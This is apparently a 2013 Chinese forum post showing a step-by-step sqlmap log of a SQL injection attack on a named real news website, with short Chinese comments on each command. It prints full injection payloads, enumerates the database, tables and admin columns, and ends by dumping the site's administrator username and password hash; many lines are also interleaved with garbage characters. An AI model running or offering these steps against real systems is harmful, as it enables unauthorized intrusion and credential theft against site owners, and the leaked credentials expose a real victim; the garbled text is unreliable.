D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db1 E5 f6 {, J5 i/ o
ms "Mysql" --current-user /* 注解：获取当前用户名称
5 q7 W+ A1 a0 L: ]3 k4 G& t% d, ~( }/ D sqlmap/0.9 - automatic SQL injection and database takeover tool, C# L2 Q( D- @6 ~0 y# G
http://sqlmap.sourceforge.net starting at: 16:53:54
* T% A5 v# N+ j. @, v: [[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as8 l( R0 E' t; W
session file+ g. ~5 s! N9 {8 \/ Q, ?( ^
[16:53:54] [INFO] resuming injection data from session file) W' g: L8 D4 n" u8 X, F
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
3 B9 o2 l- u% A& n[16:53:54] [INFO] testing connection to the target url" p8 U) z. O( w y/ S3 V. _, J
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
2 W) \* {2 C! M* Ests:4 x" S9 C' B' H! S; g
---
3 i' U3 b2 n+ D. Q+ {3 mPlace: GET
4 V2 _6 d" k, q6 D# q- P) g4 u- TParameter: id
+ O. y( E6 G* H& K+ j, d Type: boolean-based blind$ p1 G8 Q- I2 e/ v, D @
Title: AND boolean-based blind - WHERE or HAVING clause- {: A' `0 S! c' A) E! }! C* r
Payload: id=276 AND 799=7991 u8 y6 U" E$ w3 [7 D
Type: error-based u3 F# |+ w3 }* j9 X& R) G
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
+ p [5 I; K2 z2 N/ |5 C' f Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,. x a9 K/ d; \
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58" M& i1 g# n; ~8 t5 k R7 Q
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
7 v8 W( w- r0 S& [4 D. x( E/ K/ e; y Type: UNION query
. m# p- D" g% u- l, R* ~ Title: MySQL UNION query (NULL) - 1 to 10 columns! O7 `5 l- G; W, l
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR0 ~4 y5 b! U' R- T" ?! g
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),- B/ K( F7 |: |0 `. {
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#" ^6 H/ U$ C5 h* P
Type: AND/OR time-based blind
: V+ y4 d! ^. H5 _6 z& n Title: MySQL > 5.0.11 AND time-based blind
! L5 P% K9 E! Q Payload: id=276 AND SLEEP(5)# [7 b% \3 P% V) s8 _2 m" c
---
/ N+ V4 B$ `3 `& F: ~[16:53:55] [INFO] the back-end DBMS is MySQL
" K* T% {/ P3 j6 v$ U# Qweb server operating system: Windows
5 w, g5 ~; `7 x/ j* |! ` s0 x( Tweb application technology: Apache 2.2.11, PHP 5.3.0
6 _( d6 d5 ?: S7 K" A, h* ]! zback-end DBMS: MySQL 5.0
# {4 Y. b) Y3 p+ p$ d7 C2 q[16:53:55] [INFO] fetching current user) _4 Q- A, R; J# C' u( C) w
current user: 'root@localhost'
' D& I, d1 F3 N5 w, L1 T8 {4 D0 I[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou8 \ Y9 d! ?; h+ X8 }
tput\www.wepost.com.hk' shutting down at: 16:53:588 {$ |) V0 M# R7 B" d" p6 [
: n2 U5 {7 q" t1 V
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db1 J3 F/ r: c, H* T
ms "Mysql" --current-db /*当前数据库( y- B+ W \& Y7 \& E; P* h
sqlmap/0.9 - automatic SQL injection and database takeover tool- p- T: I) s7 s. T" U! ] v
http://sqlmap.sourceforge.net starting at: 16:54:16
4 `; J$ z; i; { f$ w8 E. L6 S. c2 Q+ B[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as- M( L5 _' ?0 O/ T" `
session file+ D6 y* I6 v6 F3 T" g
[16:54:16] [INFO] resuming injection data from session file2 \6 [1 `8 t$ k9 w6 f* B& Q5 _ X
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file k) K3 ^ D% C6 s
[16:54:16] [INFO] testing connection to the target url
0 Z3 ^# I$ \( w9 G% lsqlmap identified the following injection points with a total of 0 HTTP(s) reque+ |: p8 Q$ J8 ?% b4 N1 g+ e
sts:
7 B& g: [4 T$ j- X, j1 ?- ?---/ U6 q: t) g( l' X/ F; s
Place: GET
L" ~4 i& g8 q! U( |Parameter: id. w1 F( }4 _ j3 n- T
Type: boolean-based blind
" V: m/ D7 ?! l. | @. ^* P# e9 g Title: AND boolean-based blind - WHERE or HAVING clause
- W$ u, N" J4 T9 I Payload: id=276 AND 799=799
& E2 l5 z7 L% B9 i$ Q Type: error-based1 \7 E" J0 o% _) p ]
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause, o, ]) }0 R* V1 v3 ?0 K- P
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,* H! ^' Z' P8 j* t0 a2 C
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
X( [8 j0 {, r4 j/ r1 a),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
$ ]% |0 g) [4 y Type: UNION query
0 Q+ i/ M. x7 H1 r# Z Title: MySQL UNION query (NULL) - 1 to 10 columns
. m9 @, Z" p+ z5 s Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
3 d% Z, a3 S: e: E4 S(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
" d2 q1 h' J+ j( n: U: ~* n1 vCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
2 ]! b' C' ]' U1 X# [2 p Type: AND/OR time-based blind1 P. v4 F# b0 F& h4 u% d; z6 n7 f
Title: MySQL > 5.0.11 AND time-based blind l s- K5 q. P/ N8 O+ q) L( k
Payload: id=276 AND SLEEP(5)$ Y* j2 Y! ~2 K9 O9 _5 h! _$ r8 }7 u
---
# c2 U; o9 |1 V1 I6 o' @! _[16:54:17] [INFO] the back-end DBMS is MySQL
% P/ ^ ^& e4 s1 c5 Vweb server operating system: Windows+ ? Z6 r- A$ p, W
web application technology: Apache 2.2.11, PHP 5.3.0+ j. D1 w' H( p! X
back-end DBMS: MySQL 5.0
3 z ]5 E" P; {( d' q[16:54:17] [INFO] fetching current database
+ n) i" Q6 _" mcurrent database: 'wepost'
% t. u; O* D, g+ |/ o[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
. U) {* h) A8 j! k) htput\www.wepost.com.hk' shutting down at: 16:54:181 k# H. _! k+ O ?. r1 z
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db5 o$ X J9 h2 |: |
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名* c2 H9 h( Q1 x' ]* r
sqlmap/0.9 - automatic SQL injection and database takeover tool
9 l+ p- C! }( c! C http://sqlmap.sourceforge.net starting at: 16:55:25( P+ N/ q, T) R3 s
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as4 @- j6 Y' \. H `1 w' y
session file! A# U: N/ o7 J
[16:55:25] [INFO] resuming injection data from session file
) t# a) r& R2 ~) f[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file. u) ] _9 c! f! g
[16:55:25] [INFO] testing connection to the target url
( W7 b2 [1 i* e% g- Y" {sqlmap identified the following injection points with a total of 0 HTTP(s) reque c7 p6 E, {. q F& d
sts:
3 C. B" u d# I---7 d: l) f8 `9 ]- u
Place: GET! a( e) ?1 G1 m6 h4 d) V
Parameter: id+ ^) ~/ J, i# P$ z, ?! O5 a" e
Type: boolean-based blind
5 M3 t8 E$ o2 n( V9 ^# V. ^2 F Title: AND boolean-based blind - WHERE or HAVING clause* o0 r9 m& U; s5 }
Payload: id=276 AND 799=799
9 {9 k0 X2 M* Y- |: ~ Type: error-based
: m4 _ |8 {* i6 A" W Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
5 c: r3 W5 y1 ]4 \/ S4 j1 x Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
) m0 y' m: u, y. D# c9 L120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
0 S# c7 f% a+ f5 `" F. Q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)' Y1 g/ ]0 |- f$ {/ A9 l
Type: UNION query
" x1 t2 e- s( I' C Title: MySQL UNION query (NULL) - 1 to 10 columns
! f0 n k2 q9 O6 v c7 J6 W' M Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
/ M! l c2 f8 s1 ^" u# U/ `(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
8 j+ W9 A/ u8 R# F0 p1 a. \CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#9 `6 N0 c1 |8 B) ?# K& E( |
Type: AND/OR time-based blind; q' |6 W. e. p* a9 v7 i7 f
Title: MySQL > 5.0.11 AND time-based blind% Y5 I+ O6 o! T8 ?, L5 S: d! p
Payload: id=276 AND SLEEP(5)# E- S% @9 i' B, U
---
( x2 p# P g D' `/ b: Y6 v[16:55:26] [INFO] the back-end DBMS is MySQL D$ e" p R6 U4 r& z L3 D
web server operating system: Windows
L! p9 l& J- d9 Xweb application technology: Apache 2.2.11, PHP 5.3.04 w5 n, G% T q5 R
back-end DBMS: MySQL 5.0
# D9 h- u5 I. u2 G9 N0 x; w- X[16:55:26] [INFO] fetching tables for database 'wepost'
' |9 d8 `% T: X7 K& w[16:55:27] [INFO] the SQL query used returns 6 entries
& g# ?) @* i: L$ T0 xDatabase: wepost7 \6 ~) H* `( E3 o, ]) j
[6 tables]
" K X8 y! \0 r* s0 _4 U, B+-------------+
) ?1 `4 Y7 H$ D3 D$ O| admin |7 ?: `9 ]1 Z8 U U3 @, R* v
| article |5 A+ T7 b; ^: l. m" E* Y
| contributor |; I/ X/ V& L4 [: f+ P# `2 k8 b" y
| idea |
# |5 D0 M( ?, q+ @4 O) p; W! Q' J- H| image |4 W4 Y& u8 W7 ?8 q
| issue |: ]! I& q% a% v7 Y3 d
+-------------+
) }/ W/ J# Q n# }0 P[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
: e8 O! H/ Q. t2 j+ Jtput\www.wepost.com.hk' shutting down at: 16:55:33# W# Q3 J8 k' K+ Y
h* J- ]. Y: W, G6 D5 c, qD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
7 e7 R+ ~$ f/ ?) \+ D& ims "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
! T) G0 N; w w! D! `1 H sqlmap/0.9 - automatic SQL injection and database takeover tool
8 C3 F# X. \8 V7 L3 x http://sqlmap.sourceforge.net starting at: 16:56:067 a* S$ v: B! R: W1 p" q
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
( T J+ m# R/ h/ ?: v2 T/ h9 nsts:
( e0 R* l/ k2 Z: s* P9 k) R9 `9 \---
5 ~# V2 ~, \) X9 j4 vPlace: GET4 L; |( m9 A& h, M3 K
Parameter: id
5 c+ F( y, c& g! \! F, L4 P Type: boolean-based blind
, `) v& S: R9 C/ b" D( Y) C, L Title: AND boolean-based blind - WHERE or HAVING clause" t! @1 ^2 K' v; P- z0 P6 V' c
Payload: id=276 AND 799=799
8 G) O' B2 ], M3 b Type: error-based
' l2 v- s1 t* E( ^& [8 b Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
% Y: w$ @) F$ S; i Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
9 H) b& s; E% P& \2 z, G5 F" A4 `120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58$ w+ o* [ `1 O! I# g. k: I, c
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
; o8 N+ p" Y+ s9 j3 |, G) m" } Type: UNION query' T. ?2 y% z% r# y- s
Title: MySQL UNION query (NULL) - 1 to 10 columns# ]8 h3 A& G5 y2 ^& a; L
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
' _% t$ m0 I- c8 c(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
* E" Q6 z9 N+ N* x: Q3 s: hCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
# p- O) }4 w: H# t, m Type: AND/OR time-based blind
& ^0 l- y/ G: v: D1 O Title: MySQL > 5.0.11 AND time-based blind- P6 r* d1 _( ]! v3 I2 D! F+ W2 F8 Y
Payload: id=276 AND SLEEP(5)
( M5 b( b; s# g( Q/ J---
& ~$ I: w7 t) a. ?/ \web server operating system: Windows
+ A$ S2 P0 w& ^& ^web application technology: Apache 2.2.11, PHP 5.3.0
# C% q+ [# \) Xback-end DBMS: MySQL 5.0
$ e4 h- ~4 T) n" W: G[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se* A- y6 s# ?1 O$ D" y
ssion': wepost, wepost2 C; p+ \1 h: b0 q% g
Database: wepost
" Q) u' ^3 y# v. mTable: admin
0 S5 K4 W% r9 t$ a Y[4 columns]
$ r) ^! H4 m3 O+----------+-------------+% D/ _: S0 i4 ~
| Column | Type |) F3 j8 F0 q3 ^( Z$ k
+----------+-------------+
4 ]8 P6 V* W- r, ?% D| id | int(11) |
7 u* V) |2 T+ H# {: {0 ^$ d! v| password | varchar(32) |2 o D$ k9 J% s: T$ e* d9 N1 [3 w
| type | varchar(10) |
" w* z1 |6 u+ |8 {9 ]4 j% U d| userid | varchar(20) |8 @+ [( P' n* ?0 D5 A
+----------+-------------++ S& ]! e: w7 K* w. U! q
shutting down at: 16:56:19; l' ?7 R+ x8 g+ w. x4 E
- m, Q& W2 w9 ]$ n# nD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db* {3 l. M0 K! `
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容 u1 o4 p2 r& m/ Y" |$ G4 Q( Z
sqlmap/0.9 - automatic SQL injection and database takeover tool4 b6 l7 `7 r4 A. a' E* c
http://sqlmap.sourceforge.net starting at: 16:57:14
2 o2 v! D1 E/ \0 b* G9 ?sqlmap identified the following injection points with a total of 0 HTTP(s) reque2 F. W6 C, l! n* y- M2 n" B
sts:
1 ~) Z# P/ L* I" k8 ^) Q6 P2 z) R---/ V1 f, q Z2 }- F$ \& p1 s
Place: GET
2 j& {- L4 M" w% m6 u# }Parameter: id
4 X" x% Y" g+ h- q) e Type: boolean-based blind. ]2 h, M, U8 E3 e% g
Title: AND boolean-based blind - WHERE or HAVING clause
0 |& P6 K2 V" P, Z! e Payload: id=276 AND 799=799% {; n4 [" V7 c' d
Type: error-based! z& r3 K8 P' Z" e) b$ p9 C
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause ^8 a7 }1 Q2 f& }' Y
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
! M5 g5 a, {3 u4 E6 n* G4 _120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58$ Z9 d# u# D2 U! E" ~/ X4 f
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
( r7 [ P3 W- \1 U Type: UNION query
* O) _- `4 ]! `, k, m/ Q2 p Title: MySQL UNION query (NULL) - 1 to 10 columns$ O8 f/ f$ T* M) K# \' g+ B/ g
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR+ a h* P; H0 `. k
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),6 m, L1 \2 Q8 o' Y& g' c8 j8 W
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#; h: c2 E- ]$ H% K8 L
Type: AND/OR time-based blind
4 J8 x4 t4 x! g5 Q+ W Title: MySQL > 5.0.11 AND time-based blind/ F; [+ v/ H- l( D& m$ @
Payload: id=276 AND SLEEP(5)6 P0 x/ U+ v8 Y4 Y- m% l
---6 K1 U$ ]% D! K6 r+ ]& e: F3 t/ A
web server operating system: Windows. x, [: c. j. e* f7 X. d$ q ?
web application technology: Apache 2.2.11, PHP 5.3.0, S0 y# n( J; p+ w7 q+ d6 {
back-end DBMS: MySQL 5.0
/ ]- a& S) k" t& O9 E) A+ I- y- S5 Precognized possible password hash values. do you want to use dictionary attack o
7 g) }3 C7 Y% e' m, a) A+ }n retrieved table items? [Y/n/q] y2 n! {$ z" t/ C" y3 F6 x, t9 ]
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]2 p3 }: p* l2 ]8 L
do you want to use common password suffixes? (slow!) [y/N] y; H( a) C* K% f; A- z
Database: wepost
$ o1 H6 Y5 P' g2 e' rTable: admin
: `5 y# c! x9 b! R* D; D[1 entry]# h& d/ r: F8 T( o5 H
+----------------------------------+------------+
' ?& a" V5 Z4 L| password | userid |
" l8 u* Q/ W5 ~4 @& i) t; J+----------------------------------+------------+6 F2 o) `( ?9 L" {: x
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
1 ^6 m( i# _! N' M+----------------------------------+------------+
+ P& \ O6 w) ?3 p, }& i8 N9 a& X shutting down at: 16:58:14- U0 l) ^: W: _9 o: \5 x% z* _ b
9 r6 v9 k- o7 T2 }; J) l7 ~D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对